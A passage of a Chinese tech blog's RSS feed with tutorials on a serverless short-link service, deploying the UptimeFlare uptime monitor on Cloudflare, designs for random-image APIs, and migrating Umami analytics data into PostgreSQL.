&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/http-header-host-2.BfFR4GNO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Demo&lt;/h1&gt;
&lt;p&gt;::url{href=&quot;https://status.acofork.com&quot;}&lt;/p&gt;
</content:encoded></item><item><title>无需服务器！从零教你自建一个短链服务！</title><link>https://2x.nz/posts/shorter-url/</link><guid isPermaLink="true">https://2x.nz/posts/shorter-url/</guid><description>你是否有一个短域名？没有也没关系，马上教你从域名开始搭建一个短链服务！</description><pubDate>Fri, 09 Jan 2026 02:55:33 GMT</pubDate><content:encoded>&lt;h1&gt;视频&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1BCi1B7E1q/&lt;/p&gt;
&lt;h1&gt;Demo&lt;/h1&gt;
&lt;p&gt;https://2x.nz/s&lt;/p&gt;
&lt;h1&gt;拿域名！&lt;/h1&gt;
&lt;p&gt;我们需要一个短域名，来作为我们的短链服务的入口&lt;/p&gt;
&lt;p&gt;我们可以前往这些地方购买短域名，建议后缀 &lt;code&gt;.nz&lt;/code&gt; &lt;code&gt;.mk&lt;/code&gt; &lt;code&gt;.im&lt;/code&gt; ，建议2-3位长度的域名&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.spaceship.com/zh/&quot;&gt;迈向未来 - Spaceship&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://porkbun.com/&quot;&gt;porkbun.com | An oddly satisfying experience.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.quyu.net/&quot;&gt;【趣域网】域名注册网站哪个好_注册域名查询购买_whois信息查询_域名交易网_ - 趣域网&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;基础思路&lt;/h1&gt;
&lt;p&gt;Cloudflare Page/Worker的重定向文件提供了基于文件的重定向功能，参考 &lt;a href=&quot;/posts/cfpage-redirect/&quot;&gt;这篇文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;接下来我们再利用 Cloudflare Worker 连接Github帮我们去更新这个文件，顺便搓一个前端出来让用户能够生成短链即可&lt;/p&gt;
&lt;h1&gt;防护措施&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
必须在最终重定向时不直接重定向到业务域名，需要配置中间页，否则你的域名一定会在后期被举报为 &lt;strong&gt;滥用/钓鱼/诈骗网站&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;重定向文件限制静态重定向 &lt;strong&gt;2000&lt;/strong&gt; ，动态重定向 &lt;strong&gt;100&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;单行字符串不超过 &lt;strong&gt;1024&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;服务架构图&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/MermaidChart-Createcomplexvisualdiagramswithtext-2026-01-09-031619.AT6XtyWb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>超高校级的监控服务：UptimeFlare！基于CF Worker！自托管！声明式！新手友好！</title><link>https://2x.nz/posts/uptimeflare/</link><guid isPermaLink="true">https://2x.nz/posts/uptimeflare/</guid><description>谁不想拥有一个监控自己服务的服务呢？</description><pubDate>Fri, 02 Jan 2026 19:10:53 GMT</pubDate><content:encoded>&lt;h1&gt;从KV迁移&lt;/h1&gt;
&lt;p&gt;由于原项目于26/1/3将数据存储从KV迁移到了D1，并且配备了完备的i18n，如果你仍在运营旧版的UptimeFlare，建议升级，下面是迁移教程&lt;/p&gt;
&lt;p&gt;首先，将你之前配置的Cloudflare API令牌添加一个新的权限 &lt;strong&gt;编辑D1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后备份根目录的 &lt;code&gt;uptime.config.ts&lt;/code&gt; ，直接 把原仓库删了（但是不要删KV，Worker，Page），Fork我的仓库&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/UptimeFlare&quot;}&lt;/p&gt;
&lt;p&gt;接下来编辑新的 &lt;code&gt;uptime.config.ts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;参阅 &lt;a href=&quot;https://github.com/afoim/UptimeFlare/blob/main/uptime.config.ts&quot;&gt;UptimeFlare/uptime.config.ts at main · afoim/UptimeFlare&lt;/a&gt; 主要就是将自定义callback迁移到官方的WebHook方法&lt;/p&gt;
&lt;p&gt;编辑后推送，会自动触发Github Action的自动部署，它会自动将KV内的数据迁移到D1&lt;/p&gt;
&lt;p&gt;这迁移到D1何意味
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-16.3zIy0-lL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本来这个教程应该是永远都不会出的，因为在此之前，我曾经给大家介绍了一个无需自托管的监控服务：&lt;a href=&quot;/posts/uptimerobot/&quot;&gt;UptimeRobot&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是，就在最近我再次查看控制台，发现之前创建的监控全部都没了，咱也不知道是被官方删了还是号被黑客大手子肘击了，总之，我现在不得不要重建监控服务了&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;首先，UptimeFlare是一个基于Cloudflare Worker+D1的监控服务&lt;/p&gt;
&lt;p&gt;它的原理非常简单，一共由三个部分组成&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前端&lt;/strong&gt;：放在Cloudflare Page，用于给用户展示zhandianzhuangt&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后端&lt;/strong&gt;：放在Cloudflare Worker，通过 Worker 自带的 &lt;strong&gt;Cron&lt;/strong&gt; 每分钟 检查站点状态，并将状态持久化进 &lt;strong&gt;D1&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-1.-rUhGWU3.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-14.Czx3UOOI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们需要 &lt;strong&gt;Fork&lt;/strong&gt; 项目，建议Fork我的项目（由于原项目不知道为什么不给在某些地方注入环境变量，所以建议Fork我的）&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/UptimeFlare&quot;}&lt;/p&gt;
&lt;p&gt;首先，我们先尝试将其部署到Cloudflare&lt;/p&gt;
&lt;p&gt;创建一个Cloudflare API Token &lt;strong&gt;编辑Workers&lt;/strong&gt; 和 &lt;strong&gt;D1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来将该Token绑定到你的Github仓库
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-4.B2tgsokm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后，来到 &lt;code&gt;Action&lt;/code&gt; 页面，手动创建一个 &lt;code&gt;Deploy to Cloudflare&lt;/code&gt; 的工作流
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-5.6CCMeYQ-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待工作流运行结束，你应该可以在Cloudflare仪表板看见一个新的Page，新的Worker和新的D1
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-6.DXpmWcPi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点开 Page，注意不要点错了
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-8.CuHG0vN0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;绑定你的域名，尝试访问
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-9.CZu-5lT5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你能看到一个初始的监控页面，则正常
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-10.BwI5265x.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来，我们开始自定义该监控&lt;/p&gt;
&lt;p&gt;编辑根目录的 &lt;code&gt;uptime.config.ts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果服务故障如何做通知？&lt;/p&gt;
&lt;p&gt;UptimeFlare非常自由，你可以在 &lt;code&gt;callbacks&lt;/code&gt; 中编写故障时要做的任何事情，这里以发送 &lt;code&gt;POST&lt;/code&gt; 请求让 &lt;code&gt;Resend&lt;/code&gt; 发送邮件给你举例&lt;/p&gt;
&lt;p&gt;首先前往 https://resend.com/&lt;/p&gt;
&lt;p&gt;添加一个域名（作为你的发信域名）
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-11.DrcmY7pO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个发信API Key
&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-12.ByfVGzTY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加环境变量： &lt;code&gt;RESEND_API_KEY&lt;/code&gt; 将其绑定到 &lt;strong&gt;Action&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/uptimeflare-13.Df_ysPXd.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;uptime.config.ts&lt;/code&gt; 的 &lt;code&gt;webhook.payload&lt;/code&gt; 部分&lt;/p&gt;
&lt;p&gt;示例代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        payload: {
        &quot;from&quot;: &quot;系统状态更新 &amp;lt;uptimeflare@update.2x.nz&amp;gt;&quot;,
        &quot;to&quot;: [&quot;acofork@foxmail.com&quot;],
        &quot;subject&quot;: &quot;UptimeFlare 状态更新&quot;,
        &quot;text&quot;: &quot;$MSG&quot;
      },
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，当服务故障/重新上线就会通知你啦~
&lt;img src=&quot;https://2x.nz/_astro/1dc1a98a404db83e909c1f87e8a115cf.xkiCbDKc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终效果：
::url{href=&quot;https://ok.2x.nz&quot;}&lt;/p&gt;
</content:encoded></item><item><title>完全免费！从架构，开发到部署，一条龙实打实的教你做一言/随机图等随机URL的最佳实践</title><link>https://2x.nz/posts/random-url-gen/</link><guid isPermaLink="true">https://2x.nz/posts/random-url-gen/</guid><description>我曾于2024搭建了第一个随机图网站，最近几周又深度研究了类似项目，发现这类项目有很多坑也有很多神秘的捷径，并且某些架构还可以做到“永生”...</description><pubDate>Mon, 29 Dec 2025 02:10:40 GMT</pubDate><content:encoded>&lt;h1&gt;探索架构&lt;/h1&gt;
&lt;p&gt;我们先不讲一个抽象的概念，我们首先来做一个小项目&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一个随机图API，每次请求都返回不同的图片&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你会怎么做？&lt;/p&gt;
&lt;p&gt;有非常多的解决方案，就拿最简单的一说，我们可以先搞来一个服务器，然后往里面塞图片，最后写一个脚本创建一个Web服务器，接收客户端请求，每一个请求都从图片库里抽一张图返回&lt;/p&gt;
&lt;p&gt;能实现吗？&lt;/p&gt;
&lt;p&gt;当然可以！这是你的流程图！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    A[客户端请求&amp;lt;br/&amp;gt;GET /random]
    B[Web 服务器接收请求]
    C[从图片目录读取图片列表]
    D[随机选择一张图片]
    E[读取图片文件内容]
    F[构造 HTTP 响应&amp;lt;br/&amp;gt;Content-Type: image/*]
    G[返回图片给客户端]

    A --&amp;gt; B
    B --&amp;gt; C
    C --&amp;gt; D
    D --&amp;gt; E
    E --&amp;gt; F
    F --&amp;gt; G
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但也会带来一些问题，比如，图片存在本地，给客户端响应图片的时候走的是你机子的流量，那么你就需要一个 &lt;strong&gt;高带宽&lt;/strong&gt; 的服务器，这无疑是一个 &lt;strong&gt;高昂&lt;/strong&gt; 的成本&lt;/p&gt;
&lt;p&gt;那可能你会有新的方案： &lt;strong&gt;前后端分离&lt;/strong&gt; （逻辑与资产分离），只将返回这个图片的逻辑存放在服务器上，而图片存到其他地方，如对象存储（Cloudflare R2）、IPFS等等&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    A[客户端请求&amp;lt;br/&amp;gt;GET /random]
    B[随机图逻辑服务器]
    C[读取图片索引 / 元数据]
    D[随机选择一张图片]
    E[生成图片访问地址&amp;lt;br/&amp;gt;R2 / IPFS / 对象存储]
    F[返回 302 重定向&amp;lt;br/&amp;gt;Location: 图片URL]
    G[客户端请求图片资源]
    H[对象存储 / IPFS / CDN]
    I[返回图片数据给客户端]

    A --&amp;gt; B
    B --&amp;gt; C
    C --&amp;gt; D
    D --&amp;gt; E
    E --&amp;gt; F
    F --&amp;gt; G
    G --&amp;gt; H
    H --&amp;gt; I
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么问题又来了，假如说你的项目太多人用了，那你的服务器性能可能不够，在后期，你仍然需要一个 &lt;strong&gt;高昂&lt;/strong&gt; 的 &lt;strong&gt;维护成本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么那么那么，现在是 &lt;strong&gt;2025&lt;/strong&gt; 年，传统的架构已经无法满足我们了，我们不妨可以试试 &lt;strong&gt;云函数&lt;/strong&gt;
仍然是前后端分离，我们现在将逻辑放到一个函数上面，如Cloudflare Worker、EdgeOne Function、Vercel Function等等&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart LR

    Client[客户端]

    subgraph Logic[逻辑层（云函数 / API）]
        A[接收 /random 请求]
        B[读取图片索引]
        C[随机选择图片]
        D[生成访问地址]
        E[返回 302 重定向]
    end

    subgraph Assets[资产层（静态资源）]
        F[CDN / IPFS Gateway]
        G[对象存储&amp;lt;br/&amp;gt;R2 / S3 / COS]
    end

    Client --&amp;gt; A
    A --&amp;gt; B
    B --&amp;gt; C
    C --&amp;gt; D
    D --&amp;gt; E
    E --&amp;gt; Client

    Client --&amp;gt; F
    F --&amp;gt; G
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么现在是不是无敌了？&lt;/p&gt;
&lt;p&gt;并非，虽然前端因为使用了 &lt;strong&gt;云函数&lt;/strong&gt; 也就是直接接入了CDN，高并发已经不是问题了，但是由于资产并不直接托管在 &lt;strong&gt;云函数&lt;/strong&gt; 中，&lt;strong&gt;云函数&lt;/strong&gt; 仍然需要创建一个长连接从你的后端，如对象存储获取图片，这样一折腾，你的服务可能并不算快&lt;/p&gt;
&lt;p&gt;有人就会说了，那既然现在我都把我服务器丢了，前端在云，后端也在云，为什么不直接让前端的云直接存储后端的资产呢？&lt;/p&gt;
&lt;p&gt;当然可以！你已经非常接近最佳实践了！&lt;/p&gt;
&lt;p&gt;绝大部分 &lt;strong&gt;云函数&lt;/strong&gt; 都支持动静结合，也就是支持你在他们的云存放一些动态脚本，再顺便 &lt;strong&gt;存放静态资产&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么接下来，你就得到了一个完全不需要你买服务器托管，也不需要你担心存储爆仓导致天价账单的随机图...了吗？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TB

    C1[客户端1]
    C2[客户端2]
    C3[客户端3]

    A1[请求API]
    A2[请求API]
    A3[请求API]

    F1[云函数节点1]
    F2[云函数节点2]
    F3[云函数节点3]

    R1{抽选一张图片}
    R2{抽选一张图片}
    R3{抽选一张图片}

    S[云函数静态资产]

    C1 --&amp;gt; A1 --&amp;gt; F1 --&amp;gt; R1
    C2 --&amp;gt; A2 --&amp;gt; F2 --&amp;gt; R2
    C3 --&amp;gt; A3 --&amp;gt; F3 --&amp;gt; R3

    R1 --&amp;gt; S
    R2 --&amp;gt; S
    R3 --&amp;gt; S
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;探索随机图（随机URL）的本质&lt;/h1&gt;
&lt;p&gt;我们刚刚只是在抽象的说明某种架构 &lt;strong&gt;好像&lt;/strong&gt; 可行，&lt;strong&gt;好像&lt;/strong&gt; 又有什么问题，然后又有一种什么新思路 &lt;strong&gt;好像&lt;/strong&gt; 可以解决这个问题&lt;/p&gt;
&lt;p&gt;但我们要走的路才刚刚开始，我们不妨思考一下，随机图，又或者说随机URL这类项目，服务器（如果有）究竟发送了什么给客户端，客户端又对服务器发回的报文执行了什么动作&lt;/p&gt;
&lt;p&gt;你肯定知道，如果想要客户端每次请求同一个URL，都返回不同的东西，那肯定是服务器针对每一个请求都返回了不同的响应，它可以是内部的，比如直接在响应体塞图片，又或者也可以是 &lt;strong&gt;重定向&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接在响应体塞图片很简单，在客户端是不可见的，当客户端请求API时，服务器直接将选中的图片作为响应体发出，在客户端看来，就好像是请求了一张图片，只不过每次刷新都不一样&lt;/p&gt;
&lt;p&gt;而响应 &lt;strong&gt;重定向&lt;/strong&gt; 就更简单了，只需要让服务器发送一个 &lt;strong&gt;临时重定向&lt;/strong&gt; 的状态码，比如 &lt;strong&gt;302&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有人就会说了，为什么必须要 &lt;strong&gt;临时重定向&lt;/strong&gt; ？&lt;/p&gt;
&lt;p&gt;因为你肯定是想要客户端每次刷新都返回不同的图，一旦你使用了 &lt;strong&gt;永久重定向&lt;/strong&gt; 如 &lt;strong&gt;301&lt;/strong&gt; ，客户端在收到 &lt;strong&gt;301&lt;/strong&gt; 的那一刻就会在浏览器里写一个记录：&lt;strong&gt;下次访问这个URL直接重定向，不再请求服务器&lt;/strong&gt; ，这就会导致你的随机图API真的就变成一张图片了&lt;/p&gt;
&lt;p&gt;那么，这两种方法哪种更好呢？&lt;/p&gt;
&lt;p&gt;各有利弊，一句话说明：&lt;strong&gt;直接返回MIME类型是连请求复用，仅需一次请求即可得到图片。而返回302重定向至少需要客户端请求两次&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这得看你的实际架构，如果说你是前后端分离，即逻辑和资产不在一个地方，肯定是 302 好，因为如果你直接在响应体塞图片，就相当于你的服务器作为 &lt;strong&gt;代理&lt;/strong&gt; 让客户端访问你的资产，流量全部走你服务器&lt;/p&gt;
&lt;p&gt;而如果说你前后端都在一起，正常情况下来说，一次请求复用肯定是比两次连接更快的，不过为了方便管理和统计，我的大部分API仍然使用 &lt;strong&gt;302 重定向&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/EdgeOne_Function_PicAPI&quot;}&lt;/p&gt;
&lt;p&gt;上线的API： https://eopfapi.acofork.com/pic?img=ua&lt;/p&gt;
&lt;h1&gt;奇技淫巧1：利用Cloudflare Origin Rules实现无计费的随机URL&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Video: https://www.bilibili.com/video/BV19ZBzB8EDQ/
起因于有一天一位粉丝在我视频下留言
&lt;img src=&quot;https://2x.nz/_astro/random-url-gen-9.DbRnOocw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;他提到的仓库为&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;Mabbs/cf-hitokoto&quot;}&lt;/p&gt;
&lt;p&gt;大致为，Cloudflare在规则提供一个方法，该方法可以在规则层生成一个UUID，而UUID每次都是随机的，我们可以依据此来在规则层做随机URL&lt;/p&gt;
&lt;p&gt;理论可行，实践开始&lt;/p&gt;
&lt;p&gt;首先，我们要知道UUID是一串带有连字符的随机数，而每一位有16种可能，我们可以仅截取前4位，也就是 16^4 ，共能存储65536张图，每一张图可以分配到一个唯一的UUID，接下来让CF边缘在收到请求的时候，生成UUID，然后直接拼接URL请求静态资产，如 &lt;code&gt;/img/0000.webp&lt;/code&gt; ，再返回给客户端即可&lt;/p&gt;
&lt;p&gt;那如果说我图比这多呢？加一位，16^5 = 1048576，够用了吧
那如果说我图比这少呢？那我们可以让图片填充，说个极端的例子，假如你只有2张图，每张图创建32768个副本即可，依此类推&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD

A[客户端请求&amp;lt;br/&amp;gt;GET /h]
B[Cloudflare 边缘节点]
C{Transform Rules&amp;lt;br/&amp;gt;是否匹配?}

D[Rewrite URL&amp;lt;br/&amp;gt;动态重写 Path]
E[按原路径处理]

F[生成随机字符串&amp;lt;br/&amp;gt;uuidv4 + random_seed]
G[取前三位十六进制字符&amp;lt;br/&amp;gt;substring 0~3]
H[拼接新路径&amp;lt;br/&amp;gt;/h/abc.jpg]

I[Cloudflare Pages 静态站点]
J[命中 dist/h/abc.jpg]
K[直接返回图片资源]
L[客户端接收随机图片]

A --&amp;gt; B
B --&amp;gt; C

C -- 是 --&amp;gt; D
C -- 否 --&amp;gt; E

D --&amp;gt; F
F --&amp;gt; G
G --&amp;gt; H
H --&amp;gt; I
I --&amp;gt; J
J --&amp;gt; K
K --&amp;gt; L
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;::github{repo=&quot;afoim/cf-rule-random-url&quot;}&lt;/p&gt;
&lt;p&gt;上线的API： https://img.072103.xyz/h | https://img.072103.xyz/v&lt;/p&gt;
&lt;h1&gt;奇技淫巧2：丢掉后端，让前端JS自己拼URL&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Video: https://www.bilibili.com/video/BV1tNB4BEEaE/
Video2: https://www.bilibili.com/video/BV1mMBKBREkB/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;把思路打开，我们真的需要一个 &lt;strong&gt;请求一个端点，返回一个随机内容&lt;/strong&gt; 的东西吗&lt;/p&gt;
&lt;p&gt;如果只是想在我们的网站上用上随机图，那是不是可以让客户端JavaScript代劳呢&lt;/p&gt;
&lt;p&gt;大致原理为编写一个客户端JS，生成一个随机数，然后拼接URL得到最终的随机图，然后寻找需要替换为随机图的img容器或者背景图容器，替换其中内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart LR
  subgraph build[&quot;构建期&quot;]
    direction LR
    src[&quot;原始图片&quot;] --&amp;gt; buildjs[&quot;build.js&quot;]
    buildjs --&amp;gt; static[&quot;静态图片库&quot;]
    buildjs --&amp;gt; randomjs[&quot;random.js&quot;]
  end

  subgraph runtime[&quot;运行期（浏览器）&quot;]
    direction LR
    exec[&quot;random.js 执行&quot;] --&amp;gt; pick[&quot;随机选图&quot;] --&amp;gt; dom[&quot;DOM 注入&quot;]
  end

  randomjs --&amp;gt; exec

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;::github{repo=&quot;afoim/Static_RandomPicAPI&quot;}&lt;/p&gt;
&lt;p&gt;上线的 API： https://pic1.acofork.com&lt;/p&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;我们共探索了三种流派&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;传统派：中规中矩，在边缘函数找图，取图&lt;/li&gt;
&lt;li&gt;极客派：通过CF的规则实现在边缘找图，取图，但是不计费&lt;/li&gt;
&lt;li&gt;环保派：通过客户端JS直接在浏览器上实现找图，取图，改图&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Umami Cloud迁移到本地踩坑记录</title><link>https://2x.nz/posts/umami-migration/</link><guid isPermaLink="true">https://2x.nz/posts/umami-migration/</guid><description>早期的我很有先见之明，在使用Umami的时候是自建的，但是不久后因为想要全上云，又用回了Umami Cloud，但是现在访问记录激增，我又不得不迁移到本地...</description><pubDate>Fri, 05 Dec 2025 02:13:34 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先，我们想要迁移，首先肯定是要拿到原来的Umami Cloud存放的数据&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&quot;https://cloud.umami.is/settings/data&quot;&gt;Umami Cloud Data | Settings&lt;/a&gt; 中，我们可以选择，导出数据（Export）
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-1.tzqAWnxp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当数据准备好后（几分钟左右），你的邮箱会收到一封Umami Cloud发来的邮件
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-2.j95e8bXU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载下来的文件是一个以UUID命名的ZIP压缩包，将其解压可以得到3个CSV文件
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-3.bNl2xqRx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中，只有 &lt;code&gt;website_event.csv&lt;/code&gt; 有用，其他两个文件仅有表头，无数据&lt;/p&gt;
&lt;p&gt;这样，我们就成功拿到了旧Umami数据&lt;/p&gt;
&lt;p&gt;接下来，我们需要在本地部署Umami PostgreSQL版本的 &lt;strong&gt;最新版&lt;/strong&gt; （目前版本为 3.x）（部署教程略）&lt;/p&gt;
&lt;p&gt;然后我们还需要安装一个CSV编辑软件： &lt;a href=&quot;https://smoothcsv.com/&quot;&gt;SmoothCSV - The ultimate CSV editor for macOS &amp;amp; Windows&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在本地Umami中新建一个网站，Umami会随机为你生成一个UUID&lt;/p&gt;
&lt;p&gt;接下来我们需要在你的终端安装一个图形化管理PostgreSQL的软件： &lt;a href=&quot;https://www.pgadmin.org/&quot;&gt;pgAdmin - PostgreSQL Tools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后连上数据库，你将可以看到这些表
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-4.CLNuOW3f.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们查看 &lt;code&gt;website&lt;/code&gt; 这张表，将 &lt;code&gt;website_event.csv&lt;/code&gt; 打开，查看旧的 &lt;code&gt;website_id&lt;/code&gt; 将新的ID改为旧的，这样才能数据匹配
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-5.zIdx9Fme.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/umami-migration-6.BXhoM1vf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来，我们正式开始数据导入，由于导入后的数据有两个 &lt;code&gt;session_id&lt;/code&gt; 字段，而在Umami自我管理的过程中这个 &lt;code&gt;session_id&lt;/code&gt; 字段是 &lt;strong&gt;唯一约束的&lt;/strong&gt; ，我们需要先解除这个限制，在正式上线前还要再加回这个限制（后面会说）&lt;/p&gt;
&lt;p&gt;让我们删除主键约束和索引&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE session DROP CONSTRAINT session_pkey;
DROP INDEX session_session_id_key;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，我们需要将数据配对，我们先查看 &lt;code&gt;website_event.csv&lt;/code&gt; 这张表。这里应该只有表头，没有数据（我有是因为我已经导入完成了，教程是后写的）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意顺序&lt;/strong&gt; 如： &lt;code&gt;event_id&lt;/code&gt; &lt;code&gt;website_id&lt;/code&gt; &lt;code&gt;session_id&lt;/code&gt; ...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/umami-migration-7.Dr_rZvvq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑CSV文件，你需要将顺序配对，并且删除表中没有的列，如： &lt;code&gt;browser&lt;/code&gt; &lt;code&gt;os&lt;/code&gt; ...
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-8.B2AiibMd.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确保数据库中的表头顺序和CSV文件中的表头顺序一一对应，顺序一致，不多不少后，&lt;strong&gt;Ctrl + S 保存&lt;/strong&gt; CSV文件，我们开始导入并在选项中勾选 &lt;strong&gt;标题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/umami-migration-9.BVKP9BNk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/umami-migration-10.BOu3G32y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/umami-migration-11.DFMdQQBN.webp&quot; alt=&quot;&quot; /&gt;
导入成功后如图
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-12.DOZqQ7DU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/umami-migration-13.CDT9cNLL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再编辑 &lt;code&gt;session&lt;/code&gt; 这张表，手法同上，导入成功后如图
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-14.C92WVugK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来打开本地Umami的WebUI，查看数据是否有异常
&lt;img src=&quot;https://2x.nz/_astro/umami-migration-15.BEoN98Wv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确保导入后数据无异常后，我们开始删除另一条 &lt;code&gt;session_id&lt;/code&gt; 记录并回锁主键。否则上线后Umami将无法再向表中插入数据&lt;/p&gt;
